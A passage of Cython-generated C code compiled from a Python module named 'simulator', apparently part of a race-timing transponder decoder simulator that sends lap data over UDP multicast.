CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); #else #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) #endif /* PyErrExceptionMatches.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); #else #define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) #endif /* GetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* SwapException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); #endif /* GetItemInt.proto */ #define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ __Pyx_GetItemInt_Generic(o, to_py_func(i)))) #define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); #define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, int wraparound, int boundscheck); /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'simulator' */ #define __Pyx_MODULE_NAME "simulator" int __pyx_module_is_main_simulator = 0; /* Implementation of 'simulator' */ static PyObject *__pyx_builtin_print; static PyObject *__pyx_builtin_range; static PyObject *__pyx_builtin_exit; static const char __pyx_k_b[] = "b"; static const char __pyx_k_c[] = "c"; static const char __pyx_k_d[] = "d"; static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_t[] = "t"; static const char __pyx_k__5[] = " "; static const char __pyx_k__7[] = ""; static const char __pyx_k_ap[] = "ap"; static const char __pyx_k_ip[] = "ip"; static const char __pyx_k_ll[] = "ll"; static const char __pyx_k_ok[] = "ok"; static const char __pyx_k_rl[] = "rl"; static const char __pyx_k_sp[] = "sp"; static const char __pyx_k_tc[] = "tc"; static const char __pyx_k_tp[] = "tp"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_ttl[] = "ttl"; static const char __pyx_k_args[] = "args"; static const char __pyx_k_data[] = "data"; static const char __pyx_k_exit[] = "exit"; static const char __pyx_k_item[] = "item"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_name[] = "name"; static const char __pyx_k_pack[] = "pack"; static const char __pyx_k_port[] = "port"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_sock[] = "sock"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_time[] = "time"; static const char __pyx_k_type[] = "type"; static const char __pyx_k_count[] = "count"; static const char __pyx_k_delay[] = "delay"; static const char __pyx_k_index[] = "index"; static const char __pyx_k_items[] = "items"; static const char __pyx_k_print[] = "print"; static const char __pyx_k_range[] = "range"; static const char __pyx_k_sleep[] = "sleep"; static const char __pyx_k_Thread[] = "Thread"; static const char __pyx_k_append[] = "append"; static const char __pyx_k_encode[] = "encode"; static const char __pyx_k_factor[] = "factor"; static const char __pyx_k_i_laps[] = "i_laps"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_mgroup[] = "mgroup"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_random[] = "random"; static const char __pyx_k_sendto[] = "sendto"; static const char __pyx_k_socket[] = "socket"; static const char __pyx_k_struct[] = "struct"; static const char __pyx_k_target[] = "target"; static const char __pyx_k_AF_INET[] = "AF_INET"; static const char __pyx_k_Globals[] = "Globals"; static const char __pyx_k_decoder[] = "decoder"; static const char __pyx_k_howmany[] = "howmany"; static const char __pyx_k_laptime[] = "laptime"; static const char __pyx_k_message[] = "message"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_sockets[] = "sockets"; static const char __pyx_k_timeout[] = "timeout"; static const char __pyx_k_tp_base[] = "tp_base"; static const char __pyx_k_UserRole[] = "UserRole"; static const char __pyx_k_i_finish[] = "i_finish"; static const char __pyx_k_multi_ip[] = "multi_ip"; static const char __pyx_k_partials[] = "partials"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_theThead[] = "theThead"; static const char __pyx_k_i_partial[] = "i_partial"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_racerList[] = "racerList"; static const char __pyx_k_randrange[] = "randrange"; static const char __pyx_k_simulator[] = "simulator"; static const char __pyx_k_threading[] = "threading"; static const char __pyx_k_IPPROTO_IP[] = "IPPROTO_IP"; static const char __pyx_k_MainWindow[] = "MainWindow"; static const char __pyx_k_SOCK_DGRAM[] = "SOCK_DGRAM"; static const char __pyx_k_i_lastline[] = "i_lastline"; static const char __pyx_k_setsockopt[] = "setsockopt"; static const char __pyx_k_settimeout[] = "settimeout"; static const char __pyx_k_L_racerlist[] = "L_racerlist"; static const char __pyx_k_auto_assign[] = "auto_assign"; static const char __pyx_k_tpRacerList[] = "tpRacerList"; static const char __pyx_k_transponder[] = "transponder"; static const char __pyx_k_createThread[] = "createThread"; static const char __pyx_k_decoder_decoder[] = "decoder.decoder"; static const char __pyx_k_IP_MULTICAST_TTL[] = "IP_MULTICAST_TTL"; static const char __pyx_k_C_concurrents_TP_fmt[] = "C_concurrents_TP_fmt"; static const char __pyx_k_decoder_createThread[] = "decoder.createThread"; static const char __pyx_k_exception_on_send_multicast[] = "exception on send multicast"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/decoder/simulator.py"; static const char __pyx_k_Auto_assign_Transponder_activate[] = "Auto assign Transponder activated"; static const char __pyx_k_in_simulator_createThread_socket[] = "in simulator.createThread( socket creation ) got Error"; static PyObject *__pyx_n_s_AF_INET; static PyObject *__pyx_kp_u_Auto_assign_Transponder_activate; static PyObject *__pyx_n_s_C_concurrents_TP_fmt; static PyObject *__pyx_n_s_Globals; static PyObject *__pyx_n_s_IPPROTO_IP; static PyObject *__pyx_n_s_IP_MULTICAST_TTL; static PyObject *__pyx_n_s_L_racerlist; static PyObject *__pyx_n_s_MainWindow; static PyObject *__pyx_n_s_SOCK_DGRAM; static PyObject *__pyx_n_s_Thread; static PyObject *__pyx_n_s_UserRole; static PyObject *__pyx_kp_u__5; static PyObject *__pyx_kp_u__7; static PyObject *__pyx_n_s_ap; static PyObject *__pyx_n_s_append; static PyObject *__pyx_n_s_args; static PyObject *__pyx_n_u_auto_assign; static PyObject *__pyx_n_u_b; static PyObject *__pyx_n_s_c; static PyObject *__pyx_n_s_count; static PyObject *__pyx_n_s_createThread; static PyObject *__pyx_n_s_d; static PyObject *__pyx_n_s_data; static PyObject *__pyx_n_s_decoder; static PyObject *__pyx_n_s_decoder_createThread; static PyObject *__pyx_n_s_decoder_decoder; static PyObject *__pyx_n_s_delay; static PyObject *__pyx_n_u_delay; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_e; static PyObject *__pyx_n_s_encode; static PyObject *__pyx_kp_u_exception_on_send_multicast; static PyObject *__pyx_n_s_exit; static PyObject *__pyx_n_s_factor; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_howmany; static PyObject *__pyx_n_u_howmany; static PyObject *__pyx_n_s_i; static PyObject *__pyx_n_s_i_finish; static PyObject *__pyx_n_s_i_laps; static PyObject *__pyx_n_s_i_lastline; static PyObject *__pyx_n_s_i_partial; static PyObject *__pyx_n_s_import; static PyObject *__pyx_kp_u_in_simulator_createThread_socket; static PyObject *__pyx_n_s_index; static PyObject *__pyx_n_s_ip; static PyObject *__pyx_n_s_item; static PyObject *__pyx_n_s_items; static PyObject *__pyx_n_s_laptime; static PyObject *__pyx_n_u_laptime; static PyObject *__pyx_n_s_ll; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_message; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_mgroup; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_u_multi_ip; static PyObject *__pyx_n_s_name; static PyObject *__pyx_n_s_ok; static PyObject *__pyx_n_s_pack; static PyObject *__pyx_n_s_partials; static PyObject *__pyx_n_s_port; static PyObject *__pyx_n_u_port; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_print; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_racerList; static PyObject *__pyx_n_s_random; static PyObject *__pyx_n_s_randrange; static PyObject *__pyx_n_s_range; static PyObject *__pyx_n_s_rl; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_sendto; static PyObject *__pyx_n_s_setsockopt; static PyObject *__pyx_n_s_settimeout; static PyObject *__pyx_n_s_simulator; static PyObject *__pyx_n_s_sleep; static PyObject *__pyx_n_s_sock; static PyObject *__pyx_n_s_socket; static PyObject *__pyx_n_s_sockets; static PyObject *__pyx_n_s_sp; static PyObject *__pyx_n_s_struct; static PyObject *__pyx_n_s_t; static PyObject *__pyx_n_s_target; static PyObject *__pyx_n_s_tc; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_theThead; static PyObject *__pyx_n_s_threading; static PyObject *__pyx_n_s_time; static PyObject *__pyx_n_s_timeout; static PyObject *__pyx_n_s_tp; static PyObject *__pyx_n_s_tpRacerList; static PyObject *__pyx_n_s_tp_base; static PyObject *__pyx_n_s_transponder; static PyObject *__pyx_n_u_transponder; static PyObject *__pyx_n_s_ttl; static PyObject *__pyx_n_s_type; static PyObject *__pyx_n_u_type; static PyObject *__pyx_pf_9simulator_7decoder_createThread(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_d, PyObject *__pyx_v_decoder, CYTHON_UNUSED PyObject *__pyx_v_name); /* proto */ static PyObject *__pyx_pf_9simulator_7decoder_2decoder(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *__pyx_v_laptime, CYTHON_UNUSED PyObject *__pyx_v_delay, CYTHON_UNUSED PyObject *__pyx_v_ip, CYTHON_UNUSED PyObject *__pyx_v_port, CYTHON_UNUSED PyObject *__pyx_v_type); /* proto */ static PyObject *__pyx_float_0_1; static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_2; static PyObject *__pyx_int_3; static PyObject *__pyx_int_10; static PyObject *__pyx_int_50; static PyObject *__pyx_int_500; static PyObject *__pyx_int_1000; static PyObject *__pyx_int_1000000; static PyObject *__pyx_int_10000000000; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__6; static PyObject *__pyx_tuple__8; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__10; static PyObject *__pyx_tuple__12; static PyObject *__pyx_codeobj__11; static PyObject *__pyx_codeobj__13; /* "simulator.py":58 * theThead = None * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * * if self.howmany < decoder['howmany']: */ /* Python wrapper */ static PyObject *__pyx_pw_9simulator_7decoder_1createThread(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_9simulator_7decoder_1createThread = {"createThread", (PyCFunction)__pyx_pw_9simulator_7decoder_1createThread, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_9simulator_7decoder_1createThread(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_d = 0; PyObject *__pyx_v_decoder = 0; CYTHON_UNUSED PyObject *__pyx_v_name = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("createThread (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_d,&__pyx_n_s_decoder,&__pyx_n_s_name,0}; PyObject* values[4] = {0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_d)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, 1); __PYX_ERR(0, 58, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_decoder)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, 2); __PYX_ERR(0, 58, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_name)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, 3); __PYX_ERR(0, 58, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "createThread") < 0)) __PYX_ERR(0, 58, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 4) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); } __pyx_v_self = values[0]; __pyx_v_d = values[1]; __pyx_v_decoder = values[2]; __pyx_v_name = values[3]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 58, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("simulator.decoder.createThread", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_9simulator_7decoder_createThread(__pyx_self, __pyx_v_self, __pyx_v_d, __pyx_v_decoder, __pyx_v_name); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_9simulator_7decoder_createThread(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_d, PyObject *__pyx_v_decoder, CYTHON_UNUSED PyObject *__pyx_v_name) { PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_type = NULL; PyObject *__pyx_v_delay = NULL; PyObject *__pyx_v_rl = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_v_t = NULL; PyObject *__pyx_v_sock = NULL; PyObject *__pyx_v_ttl = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_v_tp = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; Py_ssize_t __pyx_t_5; PyObject *__pyx_t_6 = NULL; int __pyx_t_7; int __pyx_t_8; PyObject *(*__pyx_t_9)(PyObject *); PyObject *__pyx_t_10 = NULL; PyObject *__pyx_t_11 = NULL; PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; int __pyx_t_15; int __pyx_t_16; char const *__pyx_t_17; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; PyObject *__pyx_t_21 = NULL; PyObject *__pyx_t_22 = NULL; PyObject *__pyx_t_23 = NULL; PyObject *__pyx_t_24 = NULL; PyObject *__pyx_t_25 = NULL; __Pyx_RefNannySetupContext("createThread", 0); /* "simulator.py":60 * def createThread(self,d, decoder, name): * * if self.howmany < decoder['howmany']: # <<<<<<<<<<<<<< * self.howmany = decoder['howmany'] * */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_howmany); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_howmany); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_t_2, Py_LT); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { /* "simulator.py":61 * * if self.howmany < decoder['howmany']: * self.howmany = decoder['howmany'] # <<<<<<<<<<<<<< * * i = len( self.transponder ) */ __pyx_t_3 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_howmany); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_howmany, __pyx_t_3) < 0) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "simulator.py":60 * def createThread(self,d, decoder, name): * * if self.howmany < decoder['howmany']: # <<<<<<<<<<<<<< * self.howmany = decoder['howmany'] * */ } /* "simulator.py":63 * self.howmany = decoder['howmany'] * * i = len( self.transponder ) # <<<<<<<<<<<<<< * while len( self.transponder ) < self.howmany: * self.transponder[self.tp_base+i] = [] */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_5 == -1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_v_i = __pyx_t_3; __pyx_t_3 = 0; /* "simulator.py":64 * * i = len( self.transponder ) * while len( self.transponder ) < self.howmany: # <<<<<<<<<<<<<< * self.transponder[self.tp_base+i] = [] * self.transponder[self.tp_base+i].append( # init time start */ while (1) { __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_5 == -1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_howmany); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyObject_RichCompare(__pyx_t_3, __pyx_t_2, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (!__pyx_t_4) break; /* "simulator.py":65 * i = len( self.transponder ) * while len( self.transponder ) < self.howmany: * self.transponder[self.tp_base+i] = [] # <<<<<<<<<<<<<< * self.transponder[self.tp_base+i].append( # init time start * int( time()*factor ) */ __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = PyNumber_Add(__pyx_t_3, __pyx_v_i); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_t_6, __pyx_t_1) < 0)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":66 * while len( self.transponder ) < self.howmany: * self.transponder[self.tp_base+i] = [] * self.transponder[self.tp_base+i].append( # init time start # <<<<<<<<<<<<<< * int( time()*factor ) * ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = PyNumber_Add(__pyx_t_6, __pyx_v_i); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 66, __pyx_L1_error) 